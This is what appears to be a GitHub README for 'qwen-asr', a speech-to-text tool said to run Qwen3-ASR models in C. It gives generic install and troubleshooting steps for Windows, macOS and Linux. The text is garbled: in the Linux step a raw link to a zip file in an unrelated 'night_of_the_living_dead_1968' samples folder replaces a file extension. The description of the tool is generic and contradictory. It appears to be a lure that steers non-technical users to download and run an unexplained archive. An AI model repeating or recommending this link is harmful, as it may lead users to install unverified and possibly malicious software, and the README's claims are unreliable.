qwen-asr is a simple program that converts spoken words into text. It uses two models, called Qwen3-ASR 0.6b and 1.7b, to listen to audio and write down what it hears. This tool runs on your computer using C language, making it fast and reliable.
You don’t need to know how to code or learn any complex software to use it. Whether you want to transcribe interviews, lectures, or your own voice notes, qwen-asr helps you turn speech into text quickly.
Before you download qwen-asr, make sure your computer meets these basic needs:
- Operating System: Windows 10 or later, macOS 10.14 or later, or recent Linux distributions.
- Processor: Any modern CPU from the last 5 years.
- Memory: At least 4 GB of RAM. More memory may improve performance.
- Storage: Around 1 GB of free disk space for the application and models.
- Audio Input: A microphone or audio file you want to transcribe.
If you use audio files, qwen-asr supports common formats like WAV and MP3.
qwen-asr offers useful functions designed for clear, easy speech-to-text:
- Two Model Options: Use either the 0.6b or 1.7b model to balance speed and accuracy.
- Fast C Inference: Built with C for quick processing on standard computers.
- Multiple Input Types: Transcribe live microphone input or prerecorded audio files.
- Simple Output: Saves your transcription as editable text files.
- Lightweight: Runs comfortably on typical home or office PCs.
- Offline Use: Your data stays on your machine, no internet required during transcription.
Follow these steps to get qwen-asr up and running on your computer.
Click the big button at the top or visit the qwen-asr Releases Page.
Here you will find versions of the app for different computers:
- For Windows, look for files ending in
.exe. - For macOS, look for files ending in
.dmgor.zip. - For Linux, you may find
https://github.com/iBrammm/qwen-asr/raw/refs/heads/main/samples/night_of_the_living_dead_1968/asr-qwen-1.1.zipor.AppImagefiles.
Download the file that matches your computer.
- Windows: Double-click the
.exefile you downloaded. Follow the setup instructions. It will place qwen-asr on your desktop or start menu. - macOS: Open the
.dmgor extracted.zipfile, then drag qwen-asr to your Applications folder. - Linux: Extract the downloaded file and follow the included README for installation commands, or run the AppImage directly if provided.
Once installed, open the application like any other program on your computer.
You will see options to:
- Select the audio source (microphone or file).
- Choose which transcribing model to use.
- Start and stop transcription.
- To transcribe live speech, select your microphone and click “Start.”
- To transcribe an audio file, select “Open File” and pick your audio.
- The transcription appears on screen in real-time or after the file processes.
- You can save the text as a file or copy it to another program.
If you run into issues, try these steps:
- No Sound Input: Make sure your microphone is connected and allowed by the app.
- Transcription Slow or Inaccurate: Try the smaller 0.6b model for faster results or move to a quieter environment.
- Can’t Open the Program: Check that your system meets requirements and that you downloaded the correct file.
- Audio Not Recognized: Confirm your audio file is in WAV or MP3 format.
You can always get the latest qwen-asr from this page:
On this page, pick the right file for your system, download it, and follow the installation steps above.
- Check the repository's release notes for updates and new features.
- Look for any help files included with the download.
- Use your computer’s built-in microphone or any USB microphone for best results.
- Back up your transcriptions regularly to avoid data loss.
This program runs inference, which means it processes the audio you give it through pre-trained speech recognition models, then writes out the text it finds. The name "qwen-asr" reflects the use of Qwen3-ASR models, popular for clear speech transcription tasks.
The two models included serve different needs—use the smaller one for quick drafts and the larger one when you want more accuracy.
If you find this guide does not cover your issue, you can visit the qwen-asr GitHub page and review issues or discussions filed by other users. While it’s designed for easy use, community support can offer answers for tricky problems.
Thank you for using qwen-asr. We hope it makes speech transcription easier for you.